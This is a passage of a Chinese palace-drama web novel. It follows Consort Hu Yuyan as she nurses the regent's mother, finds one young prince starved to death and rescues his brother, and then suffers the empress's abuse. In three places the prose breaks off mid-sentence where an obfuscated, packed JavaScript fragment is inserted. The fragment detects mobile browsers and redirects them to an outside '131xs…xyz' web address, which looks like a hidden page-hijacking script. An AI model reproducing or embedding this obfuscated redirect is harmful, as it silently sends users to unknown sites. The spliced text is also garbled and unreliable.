高皇后语气淡然,并不把赵长曙的质问放在眼里,“陛下若是这么说,臣妾无从反驳。”
她说罢便对着镜子整理起发饰,赵长曙抿抿嘴,随后牵起胡玉烟的手便要将人带走。
“慢着。”高皇后突然发了话,她站起身,冷眼看着二人,“陛下一大早闯进来,不关心臣妾的病,倒是和一个妃子拉拉扯扯,有没有将我这个后宫之主放在眼里?”
赵长曙侧目扫视过来,“皇后也知自己是后宫之主,肚量如此狭小,岂不羞愧?”
二人间的火药味渐浓,高皇后站起身走到二人面前,瞥了眼他们紧握的手。她剜了胡玉烟一眼,随后紧盯住赵长曙,话却是对胡玉烟说的。
“淑妃先走。”
胡玉烟低头称是,没来由得害怕起来,连连欠着身子告退,想逃离这里。她转身之际,正听到一个响亮的耳光声,随即便是高皇后趾高气扬的斥责。
胡玉烟快步走着,不敢招惹半点,只当自己什么都没听见,前朝后宫本是一体,她的日子不好过,赵长曙想必更是。
她重重地闭了闭眼,想着只安安静静地做着自己的事,一如当年做赵长曙的结发妻,一如后来做宫中最沉默的一位妃嫔。
这场闹剧好似就这般过去,没过几天,传旨的公公传来陛下圣旨。
胡玉烟跪在地上,心脏怦怦直跳,不知出了什么事,但终归不会是好事。
只听得内侍朗声道:“淑妃胡氏,静婉贤淑,侍奉皇后,昼夜不懈,诚意可嘉。今辅政大臣上官楚之母上官老夫人病重,念其年迈体羸,需人悉心照拂。淑妃胡氏堪当此任,特准暂离宫禁,前往上官府侍疾。”
胡玉烟听明白了圣旨的意思,立刻跪地谢恩。
此前还从未有过臣子的母亲生病让嫔妃侍疾的先例,这样的安排于她是羞辱,一定是高皇后的意思。
胡玉烟叹了口气,想来也好,她本以为自己离开皇宫只能是寿衣棺椁,没想到还能借此机会出宫一趟。
她对上官一族的恨意已到了巅峰,两年来却早已被皇宫磨得失了脾性。
胡玉烟得了旨意,连夜整备行装。到了上官府,早有内侍随行递过旨意,管家恭敬迎她入府。上官老夫人卧病在床,面色蜡黄,气息虚浮,见了胡玉烟,只是费力动了动眼皮,嘴唇翕动却无声。
下人说着客气话,胡玉烟点了点头,自此便在上官府住下,每日晨昏不辍,为上官老夫人擦洗喂药,细细照料病体。
不像高皇后那般刻意折辱人,上官老夫人病得极重,形容枯槁,气若游丝。
她俯身为上官老夫人拭去额头冷汗,神情忧色,耳边却只是听着大夫低声诊脉,心中却翻涌着不该有的念头——病重些,再病重些,最好上官府上下,一夜之间尽数暴毙。
“娘娘?”嬷嬷将药碗递至她手边,打断了她纷乱的心思。
她身子一颤,轻声应着,试了试药温,将药一口口喂入病人唇中。
上官老夫人望着她,竟还勉力露出一丝感激的笑意,她垂眸避开那目光,只当未见。
在这里伺候仇人的老母,却连自己阿娘病故都不能出宫探望,她唇角不动,心神却早已扯裂。
可她又能怎样?
她去佛堂上香,嘴上念着经文,叩头祝祷时却祈愿着上官老夫人暴亡。她去厨房查看查看膳食,却臆想着自己能大起胆子往里面撒一把砒霜。她将自己的满腔恨意都倾注在这个行将就木的的老妇人身上,恨她为何为母不教,生养出上官楚那般的大佞臣。
可惜老天爷并没有答应她的请求,上好的灵药一一喂下去,上官老夫人的病却是渐渐好转。
最终胡玉烟淡淡道了声好,在通传的下人走后扯断了手里的佛珠。
离开上官府的前一日,胡玉烟求了旨意,前往京郊王府探望赵长昭与赵长昕两位皇子。
王府门前,胡玉烟乘车而至,随行的内侍亮出腰牌,那守门的小厮却支支吾吾不愿开门。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333476|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她本意只为拜访,但见此人言辞躲闪便觉有异。一番纠缠,小厮无奈,只得打开侧门将人请入。
她一进门就察觉气氛不对,府中死气沉沉,仿佛久无人迹。地面干裂,院中落叶积了一层,风一吹便卷起尘土。连小花圃都枯萎无水,仿佛这不是皇子府邸,而是哪处废院。
“十三殿下在哪?”她问。
小厮眼神游移,只道:“殿下顽劣,近日被管教,关在偏房反省……”
“带我去。”胡玉烟一字一顿。
最终,一行人穿过数重曲廊,来到后院最深处的一间矮屋前。
门板粗陋,窗户封死,像是囚牢。
她唤了一声:“殿下?”
屋内无声,只有一点轻微的碰撞声像是什么在摇晃。
她再喊,仍无人应答。怒火猛地涌上来,她命人将门一脚踹开。
一股浓烈的霉味和污秽扑面而来,屋内一片昏暗,赵长昭赤着双足蜷缩在角落里,听到动静仿佛做梦般抬起头,突然的光亮让他很不适应。
他眼中涣散,唇角干裂,正见到一个女子背光而立,喃喃道:“……救命,我知错了。”
片刻后待看清了来人,赵长昭浑身一颤,连滚带爬地朝胡玉烟扑去,“阿嫂——”
胡玉烟心头一震,快步上前将他扶住,他骨节突兀,已瘦得脱了形。
赵长昭却只是攥住她的手,仿佛用尽全身力气才挤出一句话。
“阿昕……救阿昕……”
胡玉烟猛然看去,才发觉屋子的另一角还蜷着一个小小的身影。
那是赵长昕。
他伏在墙边,小小的身体早已没了温度,唇边结着血痕,眼睛却还睁着,仿佛死前仍在盼望有人来救他。
胡玉烟眼前一阵眩晕,几乎站立不稳。
只说两位殿下被软禁在京郊王府,想不到竟被下人苛待至此!若是她不曾来看,他兄弟二人只能死得不明不白。
她僵着手将赵长昭揽进怀里柔声安慰,“秀郎莫怕……”
一个上了年纪的下人匆匆而至,满脸堆笑地俯身作揖。
“淑妃娘娘大驾,小的有失远迎。”
胡玉烟眼圈通红,胸腔里满是怒火却无处宣泄。如今江山尚姓赵,上官楚竟已迫不及待,连孩童性命也不肯放过!
她心头怒极,扬手便要甩那人一巴掌,却被他抬臂拦下。
“娘娘息怒。”
胡玉烟怒急,呵斥道:“十四殿下赵长昕,年仅七岁,被囚于王府,活活饿死!王府下人苛待成性,奉命行凶,幕后主使是——”
那管事却语气平静,如同早备说辞,“娘娘慎言。小殿下顽劣,我们不过是奉旨管教。他病弱多日,是病逝非饿死,下人照料不周,自当受罚。”
胡玉烟气得发颤,“我这就去敲登闻鼓,将上官楚的丑事告知天下!看看这天下还有没有王法!”
管事嘴角微翘,低声提醒:“上官将军此刻正在前线主谈,若功成,那可是定国之勋。娘娘还是掂量掂量,不要因一时冲动,反害了旁人性命。”
说着,他的目光面带挑衅地在二人间流转。
胡玉烟眸色冰寒,“你在威胁我?”
那人垂首作揖,语气却依旧淡然:“小的哪敢。”
二人僵持着,赵长昭忽然扯了扯她的衣角,胡玉烟突然觉得自心底升起了一股无力感,她方才的强势伪装纷纷碎裂剥落。
天边隐约响了几声闷雷,似要下场大雨。
胡玉烟抗了旨没有按时回宫,只让人带了一份奏书回去交给赵长曙。
第二日一早,赵长昭跟着胡玉烟上了马车,一路昏沉,始终攥着她的手不肯松开,像一个快要溺毙的人攀住最后一根浮木。
8. 腊梅(三)
赵长昕病逝,王府下人因照料不周,有的被罚俸,有的遭杖责至死。赵长昭则被接入皇宫,交给先帝的杨太妃教养。
先帝的嫔妃只杨太妃还住在宫中,她年纪轻轻,却浑身透着一股沉沉闷气。
她整日里闭门不出,只顾着念佛祝祷,与赵长昭不多话,却是个心善之人。
胡玉烟质问过赵长曙,为什么不给赵长昭封亲王,另立府邸。赵长曙只苦笑,上官家不喜当朝出现同姓亲王。
二人的马车入宫门时,赵长曙亲自来迎,他眼睛肿着,一定是哭过了。
胡玉烟面无表情地立在一旁,眼见着赵长曙颤着手,从鼻腔中呼出一阵白气,他摸了摸赵长昭突出的骨节,很是艰难地吐出一段话。
“是哥哥的错,等哥哥到了地下,一定向长昕磕头认错。”
赵长昭瑟缩了一下,委屈地往胡玉烟身后躲。片刻后又扑进赵长曙怀中,赵长曙替他擦拭眼泪,拇指拂过唇边,赵长昭顺势咬了下去,赵长曙并不躲,满眼皆是心疼。
赵长曙摆了亲王的仪仗接赵长昭来皇宫,赵长昭只垂着眼眸,任赵长曙牵着,迈着小步往前走。
几人还不曾走远,便见一嬷嬷领着一队宫女,在前方候着。
赵长曙放慢了脚步,神情很是不悦。
“奴婢参见陛下、淑妃娘娘、十三殿下。”
宫女手上捧着托盘,上面放着两只金碗。见了他们,嬷嬷亲自将清酒倒入碗中,又捧到胡玉烟和赵长昭面前。
“皇后娘娘的意思,为淑妃和十三殿下洗尘增福。”
赵长曙冷眼瞥了一眼碗中酒,“皇后呢?”
嬷嬷笑笑答:“陛下贵人忘事,上官将军归府,皇后娘娘出宫省亲,不能亲自来迎接十三殿下。”
嬷嬷话刚说完,胡玉烟便接过酒碗,以袖掩面一饮而尽,“嫔妾多谢皇后娘娘挂念。”
赵长昭盯着那碗清酒,眼神一滞,手却始终没有伸出去。
他望着酒面泛起的微光,像是陷入了某种可怖的记忆,呼吸逐渐变得急促,身子也跟着微微发抖。
嬷嬷低声催促:“十三殿下,皇后娘娘特意吩咐,望您沾口酒,讨个吉利。”
赵长昭的指尖一颤,像是忍耐到了极限,忽然猛地一挥手,那碗酒带着清亮的响声坠地,响声惊得四周宫女齐齐跪倒。
胡玉烟一怔,抬眼去看赵长昭,只见他脸色苍白,呼吸紊乱,像是从水底挣扎而起,整个人都僵着。
赵长曙立即伸手将赵长昭揽进怀里,高声呵斥。
“胡闹什么!殿下不饮酒,端回去!”
赵长昭的声音却小得几不可闻。
“不喝……我不喝……”他双手死死拽着赵长曙的衣襟,眼神惊恐,仿佛眼前的不是酒,而是毒。
赵长曙脸色难看,他抱着赵长昭越过跪倒的宫人,冷冷地丢下一句:“回话皇后,就说朕接了十三殿下进宫,但这迎驾的酒,殿下不领这个情。”
皇帝动了怒,宫人齐刷刷跪倒一地。
赵长曙与胡玉烟亲自将赵长昭送到了杨太妃宫中,又好生叮嘱了才去忙政务。
“秀郎莫怕,有皇兄在这里的人不敢欺负你。”
赵长曙轻轻拍了拍他的背,朝他一笑,这才离去。
胡玉烟也摸摸赵长昭的头,见他一路上都没说什么话,忍不住有些担忧。她正想开口说些什么,赵长昭却突然跪地叩头,深深朝她一拜。
“殿下这是做什么?”这举动吓了胡玉烟一跳,她连忙从座位上惊起,想将赵长昭扶起来。
赵长昭却僵着不动,只道:“阿嫂救命之恩,受长昭一拜。”
胡玉烟红了眼眶,“我将长昭看作亲弟,是姐姐没能早点发现,害你受苦了。”
赵长昭这才像是受了天大的委屈,脸上挂了泪珠,又不好意思地悄悄擦去。
胡玉烟心下黯然,上官楚不许赵长昭封亲王,将他留在宫外只能寄人篱下受人磋磨,可宫中日子亦是不好过。
良久她自己也没忍住,泪水滑落,一滴一滴落在他的肩头,她默默捏紧了拳头,从前她孤身一人怎么样都可以,如今将赵长昭卷了进来,却又无力相护。
她轻轻将赵长昭半揽进怀中,想像从前那样安慰他,又才发觉男孩子这个年纪正是长个子的时候,两年不见赵长昭的身量已经快赶上她了。
胡玉烟一直等到陪赵长昭用过晚膳之后才离开。临走时风吹起纱帘,她刚迈出几步,左耳的耳环自她耳畔滑落,落在了花盆的软土上。
赵长昭看了一眼胡玉烟远去的背影,没出声,只默默俯身将它捡起,指腹摩挲着那细巧的珊瑚珠与鎏金花丝,神色微微恍惚。
赵长曙公事繁忙,说好的常来看他,终究是失言了。
胡玉烟将熬得软烂的肉糜面汤端至赵长昭面前。
男孩子正是抽条的时候,身量长高了却瘦削了。太医说,他因长期饮食不继,脾胃受损,需好好调养才可慢慢恢复。
“多谢阿嫂……”赵长昭低声道,擦了擦嘴角,却下意识地避开她的目光。那种小心翼翼的神情,想必是这两年在王府一直担惊受怕养成的毛病。
胡玉烟心头微紧,轻轻叹了口气,纠正了他的称呼。
“是淑妃娘娘。”
她顿了顿,又补道:“伺候你的宫人,都是我亲自挑选的。如今你在宫中,是圣上唯一的亲弟弟,有什么不快,尽管说出来,不会再有人敢欺负你。”
赵长昭犹豫了一瞬,才道了声是。
胡玉烟吩咐人将早已备好的礼物抬了进来,有小木马、竹蜻蜓、纸鸢,还有几本装帧精致的书册。
她唇角带笑,柔声道:“我寻思小孩子都喜欢这些小玩意,特意为你寻来。”
赵长昭只是淡淡瞥了一眼,道:“多谢淑妃娘娘……只是我已经不是小孩子了,我要长大,我要杀了——”
话音未落,胡玉烟已神色一变,立刻捂住了他的嘴,目光沉凝地摇头示意。
“隔墙有耳,殿下万不可妄言。”
赵长昭点点头,似是听进去了。
这时,殿外传来轻微的脚步声。赵长昭原本还平静的脸色瞬间一僵,整个人像只惊弓之鸟,脊背一下子绷直,指节在桌角攥得发白。
他瑟缩地往后一缩,肩头微微颤抖了一下,似是出于下意识的惧意。
胡玉烟察觉到他情绪的剧烈起伏,抬手稳稳按住他的肩。
见来人不过是上茶的内侍,赵长昭这才放松下来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333477|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
胡玉烟将赵长昭的动作尽收眼底,皱着眉嘱咐道:“你下去与旁人通传一下,日后无论何人入十三殿下的房间都需先通传。”
内侍点头称是,添好茶又躬着身子退下。
胡玉烟眼中尽是心疼,知道赵长昭定是在宫外吃尽了苦头,才只一点风吹草动就会吓到他。
她装作没看见,只依旧陪着赵长昭说着话,嘱咐着让他常出来走走,不要整日憋闷着。
赵长昭点头应下,静静注视着胡玉烟低头饮茶,这段时间胡玉烟日日都来看他,他常觉人生黯淡无光,只她来了才觉得添了几分色彩。
目送着胡玉烟离开,赵长昭回房躺下,午憩时做了一个好梦。
接下来的几天赵长昭依旧只窝在房中大门不出,可胡玉烟来看他的次数却少了,他心中不悦却不能表现什么。
他悄悄向宫人打听了,宫人只说淑妃平日甚少出门,自他来了才常来杨太妃宫中探望。
赵长昭坐在门槛上,知道胡玉烟今日不会来了便闭着眼回了床上静静躺了一会儿,一时间脑中闪过无数人影,有长昕、父王、母妃……回首两年来的变故,他本能地四处寻找慰藉。胸口像堵了口气,越压越重,怎么也喘不开。
他最终还是起身了,披上外袍往外走去,心头莫名躁动。
他刚转过游廊,便听见前方花苑中有丝竹之声悠悠响起,绕梁不散。
如今天色已暗,他循着声音走近,远远便见到那一角月白与墨绿交织的身影。
胡玉烟坐在锦毯上,身侧是赵长曙,两人相依相偎,女子半靠在帝王肩头,仰头闭目,唇边带着一抹笑意。
他脚步微顿,不自觉地调转了方向往这边走来。
赵长曙最先注意到朝这边而来的赵长昭,瞬间露出了一个惊喜的笑容,朝他展开手臂。
赵长昭笑了笑,快步上前,几下蛄蛹进兄长怀里。
突然的动作弄醒了小憩的胡玉烟。
胡玉烟微微蹙了蹙眉,睫羽颤动,随即睁开眼,先是有些迷茫地望了一眼赵长曙,又顺着他的目光转头看去,才看清赵长昭正窝在赵长曙怀里,像只突然归巢的小兽。
她轻轻一笑,声音还带着些慵懒的软意。
“原来是十三殿下来了。”
赵长昭往赵长曙怀里挤了挤,“皇兄安,淑妃娘娘安。”
赵长曙摸了摸赵长昭的头,面上由喜转忧,“秀郎长高了,也瘦了。”
胡玉烟起身捧来一盘果子,“从前在王府的时候,我们也常一起赏月听曲,只是那会儿秀郎还只是个什么都不懂的黄毛小子,一晃眼长这么大了。”
赵长曙执了赵长昭的手,将一盏温着的桂花酿递给他。
“尝尝,浅酌一口无妨。”
赵长昭抿了一口,果香微甜,酒意轻浅,竟觉得有些发热。
胡玉烟支着腮看他喝酒,忽然轻声笑道:“秀郎果真长大了,连喝酒的样子都像个小大人。”
赵长昭将杯子放下,目光落在眼前清亮的月光里。
赵长曙望着弟弟清瘦却倔强的脸,忽而伸手将他拥入怀中。
胡玉烟也缓缓靠了过去,环着两人。
三人相拥而坐,头顶是一轮澄澈圆月。
9. 腊梅(四)
殿中多了个半大孩子,杨太妃也多了几分生气。一日夜里,她闲来起了暖意,来了赵长昭的房间替掖他了被子,又顺势吹灭了床头的烛灯。
谁知她刚一出门,房内便传来了惨叫声。
杨太妃连忙折返回去,岂料赵长昭见了她手上提的灯笼,立刻扑上前去,只为来寻这一丝光亮。
杨太妃这才知了,赵长昭是此前总受下人欺负,稍有不慎便被关禁闭,如今落下了见不得黑的毛病。她心疼地落了泪,连忙将人抱进怀里安慰,又哄着他的男孩子自尊心,答应了不将这事告诉任何人。
赵长昭心里想着自己娘亲,渐渐也和杨太妃熟络起来。
许是养了赵长昭,杨太妃的日子较之从前更不好过。赵长昭看在眼里,却什么也做不了。
他日日闷着,只胡玉烟来看他时才肯出门活动,就这样过了好些日子,他脸上才添了几分孩子似的笑意,怕黑的毛病也好多了。
宫中酉时,凝晖宫中已摆好晚膳。
赵长昭已坐定,胡玉烟也倚在软垫上候着,目光不时往殿门处望去。屋内炉烟缭绕,她斟了一杯茶递给赵长昭。
“陛下应当快到了。”
赵长昭低头应了声嗯,却显得兴致不高。
过了一炷香,终于有宫人进来,跪地通传道:“回娘娘,陛下在议事,遣奴婢来请安,今晚恐不便前来,请娘娘与十三殿下先用膳。”
“具体是有何事?”
“听说是上官将军方才进宫面圣了。”
胡玉烟眼中落寞,她实在害怕听到这个名字。
但再转身看向赵长昭时,她脸上又挂起温和的笑意。
赵长昭眼底掠过一丝黯然,勉强执筷,胡玉烟劝他多吃几口,赵长昭也只是闷闷应着。
一场约定没能相聚,胡玉烟送走了赵长昭,适才洗漱更衣,便听得宫人通传。
“陛下驾到!”
赵长曙风尘仆仆而来,外袍未解,神色歉然。
“可是出什么事了?”胡玉烟关切地迎上前,她听得上官楚入宫便担心出事,
赵长曙握着她的手贴在胸口,“上官楚次子的车驾冲撞了南阳公主,打伤了奴仆,上官楚连夜入宫请罪。”
赵长曙哼笑一声,“说是请罪,不过是招呼朕一声,让朕知道该怎么办。”
胡玉烟眼眸低垂,她将赵长曙迎进屋里,又想到赵长昭失望的神情。
“陛下多去看看十三殿下吧,他很想皇兄。”
赵长曙点点头,张张口犹豫了一瞬又道:“上官楚回京了,皇后那自觉有了靠山,恐怕又要生事。”
胡玉烟抬眼看着眼前人,却见他将目光落在案几的杯盏上并不看她。
她心中叹息,低声应了声“是”,默默看着赵长曙将杯中水一饮而尽。
“陛下还没用膳吧,可要传膳?”
赵长曙摇摇头,扯出一个苦笑,“不必了,朕还有些事要处理。”
他说罢便站起身来,胡玉烟胸口闷闷的,连忙欠身行礼道:“恭送陛下。”
赵长曙抿了抿唇,终究没说什么,侧身离开了。直到他离开,胡玉烟才抬起眼往门口望去,那里早已没了踪影,她连一片衣角都没能寻见。
世事如棋,片刻不停,彼时未说出口的话,终究埋进了风里。
一晃数日,赵长曙与弟弟用过膳,又宣了一位中年男子觐见。
赵长昭自入宫后,与赵长曙的关系总是若即若离,此时见了这陌生男子,他有些不知所措。
那男子端得一副君子之态,和气一笑,朝赵长昭颔首致意。
“在下严子虚,参见殿下。”
赵长曙柔声道:“秀郎到了该启蒙的年岁,学业万不可荒废。这位是皇兄为你寻的先生,也是玉烟的亲舅舅。”
赵长昭打量了他一番,随即跪地行礼叩首道:“先生好。”
就在赵长昭额头快要触地时,严子虚伸出手掌覆在他额前,“微臣怎能受殿下如此大礼?”
赵长昭却执意叩头,庄重一拜,“天地君亲师,先生当得起。”
赵长曙见礼成,唇角含笑。
他有意哄自己弟弟,便让赵长昭在殿中玩,赵长昭在书柜前翻阅,又注意到案几上的许多锦盒,小心翼翼地拿起又放下。
赵长曙本在伏案批折子,注意到后立刻笑笑。
“秀郎若喜欢什么,尽管拿去。”
赵长昭得了首肯,立刻看上了那对熠熠生光的明珠,他道了声谢谢皇兄,就连忙跑开了。
赵长昭心下欢喜,回去后立刻找杨太妃要了两只戒拖,他一番敲敲打打,制了一对耳环,趁着胡玉烟来看他时,献宝似的拿了出来。
胡玉烟笑着谢过,当着他的面将旧耳环卸下,戴上了新的。
赵长昭见礼物送出去了,也会心一笑。
当日夜里正是高皇后设宴的日子,胡玉烟离了杨太妃宫中便径直去了宴会。
高皇后见胡玉烟来了,目光戏谑,像是寻到了好大的一个乐子。
“真是许久不见淑妃了啊。”
胡玉烟行礼俯身,“嫔妾出宫为上官老夫人侍疾,适才回宫。”
赵长曙坐在上座,他将话接过,“淑妃侍疾有功,应当赏赐,朕命人将藩国进贡的锦缎送去凝晖宫。”
高皇后却冷笑一声,似不欲轻轻放过。
“今日是本宫设宴,淑妃既然姗姗来迟也就罢了,可这身打扮……”
她立刻注意到胡玉烟的耳边之物。
高皇后起身上前,慢步走到胡玉烟身侧。
“淑妃好大的胆子,竟敢佩戴僭越之物!”
胡玉烟垂眸恭顺,有些不明所以。
高皇后哼笑出声,指着胡玉烟的脸,“此乃贡珠,只供中宫享用,难不成平白无故到了淑妃的耳朵上?”
胡玉烟所料不急,连忙将耳环卸下,又跪地叩首。
“嫔妾不知此物是贡珠,望娘娘恕罪。”
人群中传出一阵窸窣声,似是在看戏。
赵长曙眉头微蹙,连声道:“这对珠子是朕随意赏的,不知是贡珠。淑妃以后不戴了就是,皇后不必如此计较。”
听得此言,高皇后的脸色越发难看。
“一个低贱的妃子也配用中宫之物?陛下这是为了一个妃子,便要当众拂了本宫的颜面了?”
赵长曙面色微沉,手掌啪的一声拍向桌面,“皇后是一宫之主,理当有宽厚容人之度,若连这点事都容不得,传出去恐怕还要拂了上官将军的颜面。”
高皇后神色微滞,片刻后掩唇轻笑。她朝赵长曙行了一礼,淡声道:“既然如此,这宴会也不必再继续了。本宫身子不适,先行回宫。”
赵长曙眸色一沉,烦躁地挥手唤乐人奏乐,背过身去,不欲再看她一眼。
丝竹之声方起,高皇后却在胡玉烟身侧停住脚步,众人尚未反应过来,一记耳光已狠狠扇在胡玉烟脸上。
胡玉烟身形一晃,立刻跪下。
高皇后还想打第二下,赵长曙怒不可遏,快步上前一把扣住高皇后的手腕。
高皇后却不慌不忙,反而勾唇冷笑,“怎么,陛下这是想将臣妾如何?”
二人僵持了一瞬,高皇后将赵长曙的手甩开,指着胡玉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333478|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烟道:“淑妃私自佩戴本宫的珠子,若不惩治这贱人,本宫在宫中如何立威!”
“这贱人这般喜欢自己不配之物,干脆叫她将这珠子吞下去!”
高皇后面目狰狞又想来打胡玉烟,赵长曙抬手将人扯了一个踉跄。
“你口称妃嫔为贱人,又将朕置于何地,你母家就是这般教养你的吗!”
两人皆是面红耳赤,眼看着又要吵起来。
这时赵长昭得了消息,快步跑来,他喘着粗气对高皇后行礼道:“珠子是臣弟从皇兄那里拿的,也是臣弟送给淑妃的,淑妃毫不知情。”
“都是臣弟的过错。”
高皇后站稳了身子,怒意微消,她瞪着突然而来的赵长昭,打量起他。
“十三殿下这是什么意思?有意侮辱本宫吗?”
赵长昭皱着眉将头低埋,“臣弟不敢,一切都是臣弟的错,希望娘娘不要迁怒旁人。”
“好得很。”高皇后毫不掩饰眼里的厌恶。
不多时,一个宫人匆匆跑来,伏地禀道:“启禀娘娘,这是方才在十三殿下房中搜出的物件。”
宫人双手捧上一轴锦边画卷。
高皇后当着众人面前将卷轴展开。
是一幅画,画中女子正在荡秋千,面上笑颜如花,身后的男子则抚着她的背轻推,男子身旁还站着一个半大孩子。
画笔温润柔和,墨色浅淡,三人其乐融融,几可称为阖家欢喜。
高皇后一眼看出这画中人是谁,忍不住轻笑一声。
“真是一家人其乐融融啊。”
她目光一扫赵长昭,又讽刺地看了胡玉烟一眼,语气阴冷:“十三殿下藏着这样的画,是将本宫这个中宫之主置于何地?又将祖宗礼法置于何地?”
赵长昭坦言道:“一幅陛下登基前的旧时画卷而已,是臣弟的旧物,未曾示人,算不得什么。”
他话音刚落,高皇后便将那画撕成碎片,撒落满地。
赵长昭面无表情,低着头不说话,只是拳头握得极紧。
高皇后胸膛起复,似是真的气急,赵长曙也铁了心横在胡玉烟和赵长昭面前,不让她靠近半分。
几人僵持着,高皇后忽而嗤笑出声。
“本宫未出阁前也是清清白白的女儿家,陛下迎我为后,就应该敬我爱我,陛下既然做不到,臣妾也不会再念及夫妻情谊了。”
高皇后一走,宫中其余嫔妃也纷纷来到赵长曙面前,欠身行礼,只道身子不适要先行离开。
赵长曙冷眼看着自己名义上的妃嫔一个个从他身侧经过,脂粉气激得他一腔怒火无处宣泄。
他命宫人将赵长昭带回住处,这才烦躁地掀翻了案几。
蔬食酒水洒落一地,胡玉烟只站在原地静静地看着,她心中并没有太多情绪,只是麻木。
赵长昭苦笑出声,回身走到胡玉烟面前,带着几分强硬地将她揽入怀中。
“是朕无能,让你受辱了。”
胡玉烟眼眶微红,只将额头轻轻抵在他胸前,神色恍惚,半晌无言。
她曾在初入宫时心怀幻想,盼过温情,求过怜惜。
可日子一长,这心也就渐渐冷了,浮浮沉沉,只觉得此生如飘零秋叶、无根浮萍。她只愿来生再无权谋纷争,做个平凡女子,和心上人执手白头。
她这么想着,指尖无意识地摩挲着赵长曙的衣袖,赵长曙的呼吸沉了几分却忽而问道:“若有来世,阿烟……可还愿与我做夫妻?”
她心中一颤,攥着赵长曙衣袖的指节开始泛白,心尖尖上泛出一阵苦意,片刻后只在赵长曙怀中蹭了蹭,算是同意了。
10. 腊梅(五)
胡玉烟本在用膳,忽而听得宫人传来消息,说赵长昭重病昏迷,似是中了毒。她手中筷子“啪”的一声滑落在地,也顾不得问清,急急忙忙就往杨太妃宫里奔去。
一进殿中,只见赵长昭面色惨白,气息若有若无,整个人像是魂魄已飞了大半。杨太妃正急得团团转,命人寻来道士,又将符水一碗接一碗灌进他口中。
这一折腾便是一日一夜。她寸步不离守在床前,看着他反反复复陷入昏迷,又被生生拽回。直到次日天光熹微,赵长昭才缓缓睁开双眼。
目光一对上胡玉烟,他仿佛还在梦里,怯怯地伸手,轻轻攥住她的指尖,唇边勾起一点虚弱却安心的笑意:“又是阿嫂救我。”
胡玉烟长舒一口气,心里却满是无力。
许是夜色凉露,又或是近来积郁成疾,胡玉烟回宫后便重重地病了一场。
太医来诊,说是风寒入体、气郁攻心,脉象时紧时缓,需静养调理。宫人日夜煎汤熬药,苦口黑汁不离手,她昏昏沉沉地躺了好些时日,才终于缓过劲来,能在榻上稍作倚坐。
赵长曙来凝晖宫探望过她一次,只坐在床边握着她的手,一声不响地陪着,偶尔也会轻声与她说些朝中琐事,只盼她能心头宽慰些。
赵长昭则日日带着太医叮嘱的补品和从前胡玉烟寻来送给她的话本过来。
“老师说你不能动脑筋,那就听我读给你听。”
他这样说着,认真地翻开书页,声音还带着少年人的清亮。
胡玉烟勾起失了血色的唇,温和一笑。
她身子渐渐好起来,只是夜深人静时她方察觉自己总是在哭,却不知在哭些什么。
如此调养了两个个月,她终于有了气色。高皇后又开始三日两头寻些由头叫她,或借口旧事讥讽几句,或将不相干的宫务强行推给她。
胡玉烟只是淡淡应着,眉眼间波澜不惊,早已无力再去计较。
一日她去拜见了高皇后,回宫时途经花苑,一个小宫女正躲在树下哭哭啼啼。宫中是不允许宫人在外啼哭的,胡玉烟脚下一顿,忍不住上前问了缘由。
宫女只答自己跌了一跤,不慎将皇后娘娘的手镯掉进了湖里。
“淑妃娘娘,您救救奴婢吧。”小宫女满脸泪痕,眼中尽是祈求。
胡玉烟被这目光看的一怔,心下沉了几分,事关高皇后,她若是牵扯进去,反倒是触怒了皇后,害人害己。
她忍不住后退一步,胸口漫出无力感,她知道自己帮不上什么忙,只体面地微微颔首,不理会哭泣的小宫女,失魂落魄地沿着湖面远去。
她怔怔出神,指尖抚过桥栏的浮雕,忽然之间,背后猛地一股力道袭来。
“咚”的一声,湖水飞溅。
胡玉烟的惊叫未及出口,整个人已经被推入冰冷的湖中,寒意如万千银针刺入骨缝,她挣扎着,却不由自主地往下沉。
她来不及喊救命,惊讶之间呛了好几口水,手脚不自觉地扑腾着,却无能为力。
光亮越来越暗,她闭上眼,任水浸透全身……
片刻后,她只觉心中空荡得像这深不见底的湖水,也许这样也好,沉下去,一切恩怨爱恨就都可以结束了。
就在她意识模糊的那一刻,忽而一只手破水而来,紧紧抓住了她的手腕,将她死命往上拉。
她睁开眼,模糊的水光中,透着日光,有一个模糊的身影闯进她的视野。
她怔怔地看着眼前人的眉眼轮廓。
是他吗?是赵长曙终于来救她了?
胡玉烟忽而一阵颤抖,不知是冷,还是怕,她不再动作,只是任这人将自己拖出水面。水花翻涌,她在他怀里咳出几口湖水,仿佛又活了过来。
等抬起眼,眼前的却是浑身湿透狼狈不堪的赵长昭。
“十三殿下……”胡玉烟看清了救自己的人,有些愣神。
